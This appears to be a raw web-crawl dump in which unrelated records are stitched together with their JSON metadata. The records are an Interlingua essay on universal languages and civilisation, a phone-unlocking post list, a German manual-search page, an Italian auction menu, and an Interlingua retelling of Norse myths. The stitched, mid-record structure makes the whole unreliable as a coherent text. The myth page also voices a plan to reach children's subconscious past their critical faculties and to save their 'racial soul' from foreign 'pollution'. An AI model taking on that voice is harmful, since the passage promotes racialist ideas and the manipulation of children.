consiste in le multe mille vocabulos e structuras commun in le presente linguas del cultura mundial.\nNostre studio face appello al lector, vole facer a ille consciente, le historic existentia e continuitate indubitabile del lingua universal; in quanto lingua universal es un regular producto del grande civilisationes.\nLe essentlal discoperta developpate per le presente studio es le facto, que lingua universal es un producto del evolution historic, como le homine mesme. Le realitate intime del humanitat es le historia. Le historia ha formate le humanitate, su obras e su lingua. Le lingua universal (como le lingua generalmente) es un fenomeno human, - e, de natura omne fenomenos human es continuemente in movimento, in tempore e in spatio. Dunque le studio del lingua universal, in tempore debe esser genetic e historic. De plus, nos non pote studiar le lingua, tampoco le lingua universal, in se mesme.\nLe lingua es un parte del vita; e vita debe esser studiate in su realitate integre, que es inseparabilemente liqate, unite con su contexto social, economic e historic. Qui omitte le contexto e tracta solmente le aspecto linguistic, non tracta le realitate integre, ma solo un abstraction anemic del realitate.\nLe studio del fenomenos human es indivisibile. Nos non pote studiar le problema del lingua universal sin studiar le civilisation, que ha producte le lingua universal, proque le lingua universal es parte integral del civilisation. Como le signification precise de un parola resulta ex le contexto, le signification de un fenomeno resulta ex le contextura de fenomenos, in le qual le fenomeno emerge. Ora, le lingua universal appare in inseparabile union con le civilisation. Pro comprender le fenomeno del lingua universal, nos debe studiar le fenomenos del civilisation. Le historicitate essential del lingua universal es conjuncte con le historicitate essential del civilisation. Ambes son producte per historia, per experientia collective del homines de un epoca. Historicitate essential da nobilitate essential al lingua universal. Un lingua sin historia es sin nobilitate cultual e sin capacitate de exprimer le valores traditional del cultura. Un lingua es un realitate cultural in quanto este lingua ha historia. Un lingua sin historia non ha realitate cultural. Le producto de cultura, de civilisation e de lingua es un longe processo historic. Le studio de tal processo es le linguistica. - Le realitat essential, intime del lingua universal, es le historia de omne linguas cultural, le quales converge verso formas commun. Le lingua universal es le expression del commun cultura del lingua. Le studio del convergentia del linguas verso formas commun es le interlinguistica.\nIn tal senso le compilation de linguages artificial sin historia, secundo le ideas individual, non es interlinguistica, ma 'fantascientia'. Le realitat intime del lingua es le presentia del passato in le lingua. Un lingua de cultura existe in quanto le lingua continua su passato. Le realitate del lingua universal ora nascente, es le presentia del commun passato de omne linguas cultural in le lingua universal nascente. - Le lingua universal de nostre epoca va esser le continuation del commun passato de omne linguas cultural.\nTotevia, le continuation de un tradition cultural e linguistic non es le mesme cosa que le integral conservation de un passate stato del societate del cultura e del lingua - cosa impossibile, proque le essentia del vita, del societate, del cultura e del lingua es cambiamento e developpamento.\nNostre studio vole esser un contribution al historia del developpamento e al futur con junctura del 'fenomeno lingual universal'. Nos non pote arrivar a este scopo solmente per amassar un collection de factos historic, como on realisa un collection de antiquitates o timbros postal. Un tractamento scientific debe cercar le leges que governa le fenomenos. Dunque nos debe cercar establir le leges de nascentia, crescentia e decadentia del linguas universal .. Ante establir le leges nos debe perscrutar le factos, al quales le leges va esser applicabile.\nCIVILISATION E LINGUA UNIVERSAL[edit]\nLe genese del lingua universal coincide con le genese del civilisation. Le vision historic e genetic del interdependentia de civilisation e lingua universal es certemente un vision revolutionari. Qui aspira a un moderne lingua universal debe familiar se con este interdependentia. In este nostre studio nos cerca demonstrar factos e fortias que governa le interdependentia de civilisation e lingua universal. In tal maniera nos va ganiar un vision profunde in le processo del genese de linguas universal, e nos va discoperir le leges del genese e del developpamento. Le autor non parti de hipoteses o teorias, ma prefere sequer le metodo empirico-inductive, que consiste in le collection de factos e in le tentativa de organisar este factos a un succession regular, subjecte a leges natural.\nLe studio del fenomenos human es indivisibile. Nos non pote studiar le problema del lingua universal sin studiar le civilisation, que ha producte le lingua universal; proque le lingua universal es parte integral del civilisation. Como le signification precise de un parola resulta ex le contexto, le signification de un fenomeno resulta ex le contextura de fenomenos, in le qual le fenomeno emerge. Ora, le lingua universal appare in inseparabile union con le civilisation. Pro comprender le fenomeno del lingua universal, nos debe studiar le fenomeno del civilisation. Le historicitate essential del lingua universal es conjuncte con le historicitat essential del civilisation. Ambes son producte per historia, per experientia collective del homines de un epoca. Historicitat essential da nobilitate essential al lingua universal. Un linguage sin historia es sin nobilitate cultural e sin capacitate de exprimer le valores traditional del cultura. Un lingua es un realitate cultural in quanto le lingua habe historia. Un linguage sin historia non habe realitate cultural. Le producto de cultura, de civilisation e de lingua es un longe processo historic. Le studio de tal processo es le linguistica. - Le realitat essential, intime del lingua universal es le historia de omne linguas cultural, le quales converge verso formas commun. Le lingua universal es le expression del commun cultura del lingua. Le studio del convergentia del linguas verso formas commun es le INTERLINGUISTICA.\nln tal senso le compilation de linguages artificial, sin historia, secundo le fantasia individual non es INTERLINGUISTICA, ma 'fanta-linguistica', non es scientia, ma \"fanta-scientia\". Le realitate intime del lingua es le presentia del passato in le lingua. Un lingua de cultura existe in quanto le lingua continua su passato. Le realitate del lingua universal ora veniente es le presentia del commun passato in omne linguas cultural moderne.\nLe historia del CIVILISATION e del Lingua Universal demonstra lor developpamento in le passato. Previder le developpamento futur deveni plus probabile per le facto de lor multiple repetition. Nos habe le fortuna, que le 'FENOMENO LINGUA UNIVERSAL' recurreva quatro veces. Ergo le fenomeno veni explicabile quasi a fundo. Le essayo ci presentate es un tal tentativa de explication.\nPro nostre epoca? Lingua franca[edit]\nLe question del lingua universal in e pro nostre epoca es in multo obscur; tentativas varie de explication e propositiones son controversial. Nos pote explicar melio, e avantiar le problema verso un solution, si nos succede explicar le fenomeno per medio de analogias historic. Il es ver, que un analogia historic non es jammais perfecte, ma le analogia suggere nove considerationes e recercas, si que nos avantia verso un explication plus satisfacente, e un prognostico deveni plus probabile. On obtene resultatos plus fructuose per application de vetere conceptos in nove campo: per exemplo: le vetere concepto de lingua franca, (linguage primitive, lingua quasi sin grammatica) era finora considerate per le linguistas como simptoma degenerative, deveni prodigiosemente productive, si nos applica lo in le campo problematic del lingua universal; nam le historia monstra, que omne linguas universal era precedite de linguas franc.\nEste momento, le recognoscentia del coherentia inter lingua franc e lingua universal, va esser un preciosissime guida in nostre studios et investigationes. Nam ora nos pote - in retrospection - imbraciar le complete e finite historia de quatro grande linguas universal, que omnes functioava perfectemente durante multe seculos.\nInterregno:[edit]\nIn este luce nos recognosce nostre situation actual como 'interregno' inter le evanescente latino e un nascente nove ver lingua universal. Tal studio es illuminante, proque ex le lection del historia nos pote concluder le leges natural de nascentia, vita et evanescentia del lingua universal in general. Con tal recognoscentias nos pote previder caracter e natura del nove lingua universal natural, como nos va vider in le 2. e 3. parte de nostre studio, ubi este tema es developpate in extenso.\nRECOGNOSCENTIAS HISTORIC[edit]\nillumina presente e futuro.\n1. Omne historic linguas universal era plus o minus immediatemente comprensibile a omne homines participante in le cultura del epoca. Le linguas universal era sempre le lingua de homines plus o minus culte. Le multitude inculte del populo usava solmente le linguas regional, que era in casos plus o minus simile o completemente differente del lingua universal.\n2. Le lingua universal era usate per homines, qui besoniava un lingua international. Totevia, le lingua universal era un lingua international. In plus le lingua universal era sempre un lingua simple, plus o minus simile al altere linguas del epoca, de maniera que, in le grande inquadramento del Stato Universal, omne homines plus o minus culte poteva comprender et usar le lingua universal con facilitate. Ergo le nove lingua universal va probabilemente esser un lingua plus o minus comprensibile pro homines culte de nostre epoca.\n3. Omne linguas universal era linguas natural hibridate, ex linguas natural vivente, sin artificial inventiones e sin deformationee scematic. Tamben le futur lingua umiversal va esser formate per medio de un processo de hibridation de linguas natural, sin inventiones artificial e sin deformationes scematic.\n4. Omne linguas universal prendeva in possesso aut hereditava, al minus partialmente le essential elementos de lor predecessores. Assì le futur lingua universal va hereditar traditiones e sapores de su predecessores e va dunque esser le partial continuation etimologic del latino.\n5. Omne linguas universal incorporava se, al minus partialmente, le parolas e structuras grammatic commun in le linguas del cultura del epoca. Assi le nove lingua universal de nostre epoca va incorporar se elementos commun del principal linguas de cultura. Le lingua universal nascente non va substituer natural parolas per artificial vocabulos e derivationes. Le nove lingua universal va esser le denominator commun del presente linguas de cultura.\n6. A partir del akkadiano, omne subsequente linguas universal era ponte linguistic pro un plus grande territorio lingual e pro un plus grande territorio cultural que su predecessores. Dunque le nove lingua universal va superar le extension del latino e va unir le tote cultura del terra.\n7. In omne casos historic, le lingua, que plus tarde devenit lingua universal, era multo ante jam usate como lingua franc. Esde lingua franc, in su initio vermente primitive, arrivat postea, in uso extensive, a un grado superior de maturitat e de cultura, et alora solo, le officios statal recognosceva lor interesse in usar le lingua franc tamben in le officios.\nSimilemente un futur lingua universal sta desde annos in practic servicio in international organisationes: Servicio moderne de LINGUA FRANC.\n8. Necun lingua universal venit introducte per reflectiones filosofic o per entusiasmo sentimental, sed per homines practic con senso real. Dunque on pote previder que un moderne lingua universal va tamben facer su start per servicios practic in le mundo international, in servicio de gente con senso realistic.\nA nostre lectores:[edit]\nVos ipse pote constatar, que le lingua, in le qual nos scribe este essayo, satisface in omne punctos supramentionate:\n---- le lingua del presente studio es le continuation de omne traditiones cultural e linguistic del moderne linguas de cultura.\n----- nostre lingua es plus comprensibile pro homines culte moderne que su predecessor, le lingua latin, ma nonobstante satis intelligibile pro latinistas.\n----- Nostre lingua ja serve desde 1950 in relationes international scientific como lingua de summarios in periodicos e congressos medical. Il ha multilingual dictionarios scientific.\n----- Le lingua del presente studio non es propaganda solo per entusiastas, ma offere practic servicio a omnes, qui desira superar le barrieras lingual, quasi sin studio. Necun altere lingua pote offerer servicios de tal universal efficientia.\nLe quatro linguas universal historic e le nove lingua universal nascente son cronologicamente subsequente, ma tecnicamente equivalente, pro scopos clar analoge. Le quatro linguas univ. historic es quatro stratos linguistic accumulate per le mesme effortios human pro superar le barrieras lingual. Le vision del tecnic equivalentia del historic lingua universal pote guidar le amicos del veniente lingua universal al conviction que le 'fenomeno lingua universal' es portate per irresistibile fortias historic, ducente los in le direction del nove lingua universal natural.\nPro retraciar le historia del lingua universal nos debe elevar nostre clar vision ultra, supra detalios, pro cercar connexiones general e comprensive a recognoscer le grande lineas del developpamento secular e millenari.\nNos va demonstrar le existentia de fortias historic, que perveni a producer un lingua universal. Intertanto nos sape que le fortias historic - de natura spiritual - son potentissime.\nOmne amicos del lingua universal debe cognoscer este fortias historic e diriger se in accordo con este fortias.\nContra prejudicios: Quanto longe on vive on debe esser preste a corriger errores e false ideas[edit]\nLe scopo de nostre studio es le revision de opiniones inclar e de false ideas: confuse e false concernente le lingua universal.\nFalse es le opinion, que le Lingua universal pote esser constructe.\nLe historia cultural demonstra, que le lingua universal es quasi contemporan con le civilisation, et appare regularmente in omne civilisationes, si e quando illes succede a formar un Stato Universal: un superstato, qui unifica le parve statos regional, antea disunite e bellicose, pacifica e reorganisa los in un imperio consolidate e ben administrate.\nErgo le lingua universal non es un invention human, ma un fenomeno natural: si tosto que le developpamento cultural e social arriva ad un certe grado de contactos inter estranieros appare un lingua franc, que postea deveni toto naturalmente official lingua universal.\nFonte del energia pro lingua universal es un spirito de convergentia innate al homine. Un lingua universal es le incarnation de este fortia latente, que constantemente cerca producer un instrumento pro superar le barrieras lingual. Le historic linguas universal es le corpore de este spirito, qui non mori quando le Stato Universal decade. Le Lingua Universal supervive generalmente durante seculos le dissolution del Stato Universal. Le spirito unificante resta presente como fortia historic latente, attendente un nove occasion, un climate fertile et un nove superstato, un nove imperio que assecura pace e traffico intensive e secur. Lo que supervive de linguistic elementos commun forma con elementos e conceptos moderne le materia, con que le spirito unificante presenta un nove incarnation de un nove lingua universal. Lingua universal natural es un fenomeno concrete et indiscutibile, fenomeno que se ha manifestate in un ritmo quasi millenne.\nNostre horizonte se expande[edit]\nIn le campo del historia de cultura e del civilisation nostre horizonte historico-prehistoric se expande continuemente. Le recerca archeologic e historic ha discoperite culturas e civilisationes finora occulte. Hodie nos cognosce civilisationes que existeva in le ultime dece-due mille annos. - Tamben le horizonte del lingua universal obtene un forte expansion per este nostre studio. Post le latino e le greco universal (de longe note) entra nunc in scena le aramaico e le akkadiano, ambes como linguas universal. Nos describe non solo lor existentia, ma tamben le mecanismo de lor nascentia, floration e decadentia, specialmente le carriera de este due prime linguas universal, ex quo se apre perspectivas del futuro.\nLingua universal es auxilio al bon governamento, pace e politica social.\nLe scopo essential de bon governamento e politica social es liberar le vita del violentia e del guerra; instituer lege et ordine in vice de anarchia. Le progresseo politic es approximation a este ideal. Le statos universal del passato (Imperio de Sumer-Akkad, le Imperio Medo-Persian, le Imp. de Alexandro e le Imp. Roman) attingeva un relativemente alte grado de non-violentia, de pace et ordine, contra que le statos national era relativemente violente e bellicose. Le principal progresso politic e civilisatori es le merito del Statos Universal.\nErgo le lingua universal non es un invention human, ma un fenomeno natural: Si tosto que le developpamento cultural e social arriva ad un certe grado de contactos inter estranieros, appare un lingua franc, que postea deveni - toto naturalmente - official lingua universal.\nFONTE del energia pro le lingua universal es un spirito de convergentia innate al homine.\nUn lingua universal es le incarnation de este fortia latente, que constantemente cerca un instrumento pro superar le barrieras lingual. Le historic linguas universal es le corpore de este spirito, qui non mori, quando le Stato Universal decade. Le Lingua Universal supervive generalmente durante seculos le dissolution del Stato Universal.\nLe spirito unificante resta presente como fortia historic latente, attende un nove occasion, un climate fertile e un nove superstato, un nove imperio que assecura pace e traffico intenslve e secur. Lo que supervive de linguistic elementos commun, forma, con elementos moderne, le MATERIA, con le qual le spirito unificante va presentar un nove incarnation. Assi cata vece nos ha un lingua universal natural como fenomeno concrete et indiscutibile, que se ha manifestate in ritmo quasi millenne.\nECCLESIA Universal (que es un stato universal spiritual) heredita del Stato Universal decadente le civilisation, e con le civilisation tamben le lingua universal. Assì le progresso verso un lingua sempre plus universal curre parallel al progresso politic. Tamben in nostre epoca, le chance plus importante del lingua universal jace in le progresso politic.\nTotevia, le epocas de statos universal son interrupte per 'interregnos', periodos de anarchia e de incessante guerras inter populos. Nonobstante, post interregnos emerge un nove stato universal, unifica un plus grande numero de populos; - e tamben le lingua universal del nove stato universal elimina le barrieras lingual inter un plus grande numero de homines que le lingua universal precedente.\nLe crescentia del lingua universal es un processo irreversibile et include in se un sempre plus grande parte del mundo civilisate.\nLe linguas universal, que nos videva crescer e decader, son un sequentia cronologic con interruptiones in le processo politic e linguistic. Actualmente nos sta in un epoca de interruption, in un INTERREGNO. Ex nostre vision multimillenari il deveni evidente, que le linguas universal historic son precursores de un futur lingua ecumenic, qui va includer le tote mundo civilisate.\nNos observa hodie le parolas commun in nostre linguas national e recognosce les como elementos del futur lingua universal, que presenta se a nos in 'stato de nascentia'. Secundo le testimonio del historia, le nascentia del lingua universal besonia un longe preparation: un lingua universal era sempre precedite e preparate per un correspondente LINGUA FRANC. Multo diffuse ma quasi immediatemente comprensibile, un lingua franc precede e prepara le via del lingua universal.\nLe lingua franc de un civilisation ecumenic, debe esser ecumenic, global, e va esser de tipo occidental, proque le civilisation, ex le qual eveni le vocabulario, es de origine e de caracter occidental. Le civilisation occidental va devenir realmente ecumenic, et equalmente le uso del lingua universal va haber uso ecumenic.\nHodie, in effecto, le commun cultura e civilisation ecumenic es multo plus importante que le culturas e civilisationes regional, que finalmente resta 'folklore'. Le processo es satis avantiate:\nUn exemplo es illustrative: Si un italiano, un espaniol, francese, anglese, germano, slavo etc. face le experimento de usar solmente parolas specificamente national (esoteric, incomprensibile pro le alteres), e de evitar omne parolas importate et adoptate ex altere linguas vive o morte - illes va vider, que il non es possibile exprimer se e viver con le parolas specificamente regional-national; nam, secundo le caso, 50-80% del vocabulario de nostre linguas national consiste in parolas commun. Talmente pote esser demonstrate le unitate intime del linguas de cultura. In contrario es heresia fantastic le opinion, que le linguas national es realitates independente.\nLe lingua regional-national revela le caracter special intime del societate, que parla este lingua particular. Analogicamente le lingua universal revela le commun caracteristicas de omne societates, participantes in un civilisation commun, per exemplo: in le spacio del Mediterraneo, le vita es relativemente facile; le gente ha multe tempore pro parlar. Grecia, educator del populos mediterran, ha divinisate le 'parola' (\"logos\"), e le civilisation cristian ha assimilate le divinisation del Logos, identificante Cristo con le Logos. In Grecia, le garrule atticismo ha triumfate super le taciturne laconismo; e le moderne linguas roman ha hereditate un specie de atticismo per le facto que le lingua universal grec es de origine attic; e le greco ha formate le latino, como le latino ha formate le linguas romanic moderne. E le linguas roman de lor parte, son in curso de formar le lingua universal nascente. Parlante con gusto e placer, le populos grecoroman e lor successores moderne ha forgiate linguas expressive, sonor, plastic et elegante - e promette formar un lingua universal con le mesme qualitates.\nMalgrado le stricte connexion inter civilisationes e linguas universal, le studio del civilisationes non suffice pro tractar le problema del lingua universal in modo exhaustive. Fin quando le civilisation cresce indisturbate per altere civilisationes o per populos non-civilisate, le relation inter civilisation e lingua univesal es simple: le lingua universal servi le Stato Universal, create illo mesme per le civilisation.\nMa quando un civilisation incontra un altere civilisation plus o minus violentemente, (como nos va vider in detalios in le quarte parte de nostre studio - ex le incontro nasce un RELIGION SUPERIOR. Le religion superior forma e organisa se in ECCLESIA Universal le qual adopta le lingua universal.\nTal incontro resulta normalmente in le declino e le disintegration de un civilisation. Precisemente ex le suffrentia collective del participantes, in le civilisation disintegrate, nasce le religion superior, como compensation spiritual pro le perdita material. Nonobstante le declino del civilisation, le lingua universal in casos non declina, ubi le lingua universal es adoptate e curate per le ECCLESIA. Le lingua universal continua a viver como lingua del religion, non solo in teologia, liturgia et administration ecclesiastic, ma tamben in scientia, diplomatia, literatura etc.\nIn le quarte parte de nostre studio nos reveni al incontros de civilisationes e le religion superior.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/wikisource.org\/wiki\/Civilisation_e_lingua_universal\/Prime_Parte\/Capitulo_1","date":"2023-03-31T22:36:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949689.58\/warc\/CC-MAIN-20230331210803-20230401000803-00267.warc.gz","language":"ina","language_score":0.999743402,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.9997434020042419}","num_words":6510,"character_repetition_ratio":0.099,"word_repetition_ratio":0.085,"special_characters_ratio":0.177,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":707.5,"cluster_detection":-1} +{"text":"Inicio\nSamsung\nHuawei\nMotorola\nLG\nApple\nNokia\nalcatel\nSony\nXiaomi\nMost unlocked:\nOnePlus 8\niPhone 11\nSamsung A10s\nOppo Find X2\nAll posts in:\nalcatel\nComo Liberar un alcatel 1L Pro (2021) Gratis\nComo Liberar un alcatel A3 XL Gratis\nComo Liberar un alcatel A3 Gratis\nComo Liberar un alcatel U5 Gratis\nComo Liberar un alcatel A7 Gratis\nComo Liberar un alcatel A7 XL Gratis\nComo Liberar un alcatel Idol 5 Gratis\nComo Liberar un alcatel 3088 Gratis\nComo Liberar un alcatel 3c Gratis\nComo Liberar un alcatel 1x Gratis\nComo Liberar un alcatel 3 Gratis\nComo Liberar un alcatel 3x (2018) Gratis\nComo Liberar un alcatel 5 Gratis\nComo Liberar un alcatel 7 Gratis\nComo Liberar un alcatel Tetra Gratis\nOlder Entries ›\nRecent Unlocked:\nOnePlus Nord N100\nSamsung Galaxy A12\nMotorola Moto G Play (2021)\nXiaomi Redmi Note 9\nLG K22\nOppo A15","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/comoliberar.com\/category\/alcatel\/","date":"2023-03-20T12:47:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943483.86\/warc\/CC-MAIN-20230320114206-20230320144206-00727.warc.gz","language":"ina","language_score":0.54810673,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5481067299842834, \"ile_Latn_score\": 0.06281439960002899, \"glg_Latn_score\": 0.059675879776477814, \"ast_Latn_score\": 0.04250918701291084, \"lvs_Latn_score\": 0.029791394248604774, \"vec_Latn_score\": 0.02712380699813366, \"spa_Latn_score\": 0.02403881400823593, \"ido_Latn_score\": 0.016782380640506744, \"mwl_Latn_score\": 0.016510814428329468, \"pap_Latn_score\": 0.01646338403224945, \"frp_Latn_score\": 0.012612253427505493}","num_words":223,"character_repetition_ratio":0.381,"word_repetition_ratio":0.271,"special_characters_ratio":0.242,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.543,"perplexity_score":6428.6,"cluster_detection":-1} +{"text":"Gebrauchsanweisung für como descargar musica de itunes a iphone zum download und ausdrucken als PDF oder die Bedienungsanleitung direkt online betrachten\ncomo descargar musica de itunes a iphone\ncomo bajar musica de itunes a iphone\ncomo descargar canciones de itunes a iphone\ncomo descargar musica de itunes a mi iphone\ncomo descargar musica de itunes a mi iphone 4\ncomo descargar musica de itunes a mi iphone 5\ncomo descargar musica de itunes a mi iphone gratis\ncomo descargar musica de itunes a un iphone\ncomo descargar musica gratis de itunes a iphone\ncomo descargar musica de itunes al iphone\n« Vorherige —\nSeite 1\n—\nNächste »\nWelche Bedienungsanleitung suchen Sie?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.download-handbuch.de\/anleitungen?q=como%20descargar%20musica%20de%20itunes%20a%20iphone&pdf=","date":"2023-09-28T07:38:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510368.33\/warc\/CC-MAIN-20230928063033-20230928093033-00716.warc.gz","language":"ina","language_score":0.3469971716,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3469971716403961, \"ast_Latn_score\": 0.20625920593738556, \"spa_Latn_score\": 0.19820116460323334, \"cbk_Latn_score\": 0.020179297775030136, \"por_Latn_score\": 0.016465378925204277, \"arn_Latn_score\": 0.015353773720562458, \"jam_Latn_score\": 0.015192338265478611, \"nyk_Latn_score\": 0.010566798970103264}","num_words":213,"character_repetition_ratio":0.267,"word_repetition_ratio":0.294,"special_characters_ratio":0.178,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":0.34,"perplexity_score":4800.0,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine agricole » Aste per le vendite falciatriciAste per le vendite ranghinatoriAste per le vendite rotopresseAste per le vendite voltafienoAste per le vendite presse quadre » Aste per le vendite falciatrici KVERNELANDAste per le vendite CLAASAste per le vendite KRONEAste per le vendite MASCHIO","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/autoline-eu.it\/auction\/macchine-agricole-falciatrice-KVERNELAND--c12tk2344tm2936.html","date":"2016-12-04T00:00:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698541142.66\/warc\/CC-MAIN-20161202170901-00467-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.5696257353,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.569625735282898, \"ita_Latn_score\": 0.1811542809009552, \"lmo_Latn_score\": 0.08178047835826874, \"nap_Latn_score\": 0.08047175407409668, \"frp_Latn_score\": 0.06042659655213356}","num_words":104,"character_repetition_ratio":0.384,"word_repetition_ratio":0.021,"special_characters_ratio":0.166,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.872,"perplexity_score":2908.0,"cluster_detection":-1} +{"text":"Benvenite! Ecce le sito del Union Norvegian pro Interlingua.\nPREFACIO:\nIn tempores ancian nos appareva del nationes nordic como devas o deos in nostre citate Osgard in le celos, e nos anque incarnava como esseres human in vostre historia in Midgard, que es vostre regno.\nMa, regrettabilemente, il ha pareva altere religiones e gruppas politique, que ha un attituda hostil de nostre nationes nordic, e que ha establite ce que on apella un ecclesia christian. On ha exterminate omnes que ha un amor e un fidelitate a Osgard, e on ha ganiate un subservientia total in Europa.\nNonobstante, nos ha construite un systema pro conservar le memoria del Osir e Vanir in le nord. In le linguas nordic e anglese, nos ha imprimite le nomines de nostre personalitates primal, e in nostre reintroduction in tempores moderne, nos va usar iste nomines como un ponte al subconscientia de nostre infantes, e nos nos presentara como archetypes pro ganiar lor attention sin provocar le resistentia de lor tendencias critical, analytic e christian.\nIste approcha es vital pro salvar lor anima racial del pollution del influentias estranie. Nos nos ha congregate in Osa-Ting (nostre concilio) hic in Osgard, e ha decidite emplear UNI pro iste projecto. Assi nos va ganiar le attention de nostre infantes qui son dispergite inter le nationes del mundo.\nLe septimana\nComo le prime action in crear le mundo nos ha ordinate le septimana. Como vos ha observate il ha 52 septimanas in un anno, plus un die que es extra temporal, i.e. sin existentia in tempore mundial. Iste die es Yul-die, le medio del hiberno, e anque un die cata quarte anno.\nLe dies son:\nAssi nos ha assignate un die pro le Sol, un pro le Luna, tres pro le Osir Ty, Odin e Tor, e un pro le Vanir Frey e Freya.\nE ora nos va presentar iste personas e historias maravelliose de su vitas.\nN.B. Forsan il parerea del philologistas qui ha studiate le mythologia ancian del nationes nordic que alicun del reportos in iste libro son incorrecte. Nos vos assecura que nos son san e remora nostre historia.\nJotunheim es le habitat del jotuns o jotnir, e es situate in Utgard, le feroce montanas e regiones deserte e frigide. Le jotnir son le gigantes e brutes ancian. E quando Odin e Sleipnir era in alto in le nubes super le ferma del jotun Hrugnir, le gigante le ha vidite e critava a Odin: \"Qui es tu con le casco de auro e le cavallo con octo gambas?\"\nE Odin respondeva que su cavallo es le plus rapide del tres regnos. Odin es multo fer, si, al tempores quasi orgoliose, e al fin iste pote devenir su debilitate fatal. In iste caso Hrugnir era provocate e ha spondite que su proprie cavallo, Gullfax, o in interlingua Aurocriniera, con su gambas tres longe, sera le champion. Odin respondeva con arrogantia, e Hrugnir montava Gullfax in furor e chassa Odin in le celo. In su rage Hrugnir oblidava tempore e loco, e subito illes era super le portas de Valhall, le castello de Odin e le Osir in Osgard.\nQuando Hrugnir ha discoperite su situation, le furor subsideva e cambiava a timor. Ma Odin le offereva entrar su castello in pace, e Hrugnir acceptava. E tosto Hrugnir era sedite in Valhall con un corno plen de mjod, le plus forte biberage nos ha. E Hrugnir bibeva con nos omnes, e ille era ebrie e vangloriose. Ille diceva que ille prendera Valhall e portara lo e Freya e Siv a Jotunheim e occidera nos omnes, e que ille bibera nostre bira al ultime gutta.\nE Odin lassava Hrugnir retornar con Gullfax a su residentia in Jotunheim. Plure menses passava antea le invitation arrivava pro nostre battalia in Utgard. Le jotnir habeva preparate pro le occation. Illes sapeva que io les exterminarea si io vincerea le lucta. Assi le gigantes ha facite un homine de fango, su alte de nove millias, e tres millias de largor, e con un corde de un cavalla.\nLe corde de Hrugnir era de petra con spicas. Su capite anque era de petra e habeva tres cornos, e su fuste e scuto anque era de petra. Hrugnir e le gigante de fango attendeva al bordo de Jotunheim pro luctar con me e mi amico Tjalfi. Antea illes ha nos vidite, io me celava quando Tjalfi les approchava.\nTjalfi diceva a Hrugnir que il era mal avisate se celar post su scuto. \"Tor va excavar le terra e te attacar sub tu pedes. Si tu pone tu scuto al terra sub tu pedes Tor non va succeder!\" Assi Hrugnir poneva su scuto sub su pedes e prendeva su fuste in ambe manos.\nAlora io attaccava con ferocitate, jectante Mjolner al ipse momento que Hrugnir jectava su fuste verso me. Mjolner e le fuste se incontrava in aero, e le fuste explodeva in mille fragmentos. Un fragmento colpava mi capite, ma Mjolner findeva le capite de Hrugnir e le molinava a arena.\nHrugnir cadeva a me, e io ha le peso de su gamba a mi collo. Thalfi occideva le gigante de fango sin difficultate, e su occupava in liberar me. Ma in despecto su fortia il era impossibile.\nMa io ha un filio con le gigantessa Jernsaxa (Ferro-spada). Su nomine es Magni (Grande), e a iste tempore Magni habeva tres dies. Magni arrivava, e elevante le gamba de Hrugnir, ille me adressava: \"Patre! Io regretta esser si retardate in arrivar al lucta. Io sape que io occiderea Hrugnir con mi pugno si io le habeva incontrate in battalia.\"\nIo imbraciava mi car filio e diceva: \"Mi car filio! Io te da Gullfax, le cavallo de Hrugnir, pro esser tu proprietate pro sempre!\"\nAlora io cercava le maga Groa pro haber le rocca in mi capite extrahite. Ma in le momento quando illa era al bordo de pronunciar su formula magic, io ha mentionate que io ha incontrate sa marito Aurvandil e le ha apportate trans un fluvio in un corbe. Un digito de su pede ha essite gelate. Aurvandil prendeva le digito e lo jectava in alto in le celo, ubi le digito se ha cambiate al stella nominate \"Aurvandils Digito\". Anque io ha informate Groa que su marita va retornar tosto.\nGroa ha essite si felice, illa ha oblidate completemente le formula magic, e ecce a iste die io ha le fragmento del fuste como un corno in mi capite.\nAssi Wyrd es semper con nos.\nDel Wyrd emerge Urd.\nDe Urd emerge Verdande.\nDe Verdande emerge Skuld.\nLe tres son sorores.\nSon le texitoras de nostre vita.\nSon omnisciente,\nTor vadeva lontan e large e videva tote le paises e populos. Sol ille vinceva battalias contra berserks e gigantes, e contra un dracon colossal e multe animales.\nIn le nord del mundo ille incontrava un maga, Sibil, illa qui nos apella Siv, e illa deveniva su marita. Illa era le plus belle femina que on ha vidite, con capillos como auro. Le filio de Tor e Siv es Lorride. Ecce le lineage de Tor a Odin:\nTor, Lorride, Einride, Vingtor, Vingne, Mode, Mage, Seskev, Bedvig, Annan, Itrmann, Hermod, Skjold, Bjar, Jat, Gudolv, Finn, Fridleiv, Odin.\nOdin deveniva famose per su sagessa e perspicacia. Su marita, Frigida, es ella qui nos appella Frigga. Odin era magico e propheto, e anque Frigga habeva iste talentes. Odin dunque ha trovate que su nomine serea celebrate in le nord del mundo, plus que le nomines de omne reges, e ille decideva partir de Tyrkland.\nCon illes partiva un multitude, juvenes e vetules, masculos e feminas con tressores e richessas. E ubique illes viagiava, lor reputation e fama los sequeva, e illes pareva plus como deitates que como humanos. Lor viage non cessava ante illos arrivava in Saksland. Su filios extendeva lor regnos a Frankland (e in se tempore anque a England).\nOdin conquereva omne iste territorias, e tres de su filios deveniva reges la, quando Odin continuava su viage nord a Jylland e Odinsay, a Svitjod (Svedia) e al west usque ille arrivava al mer qui on credeva circumfere tote le mundo. E la, in le pais que nos appella Norge (Norvegia), Odin ordinava su filio Seming le rege. Odin era le rege de Svitjod e habitava in Sigtun. 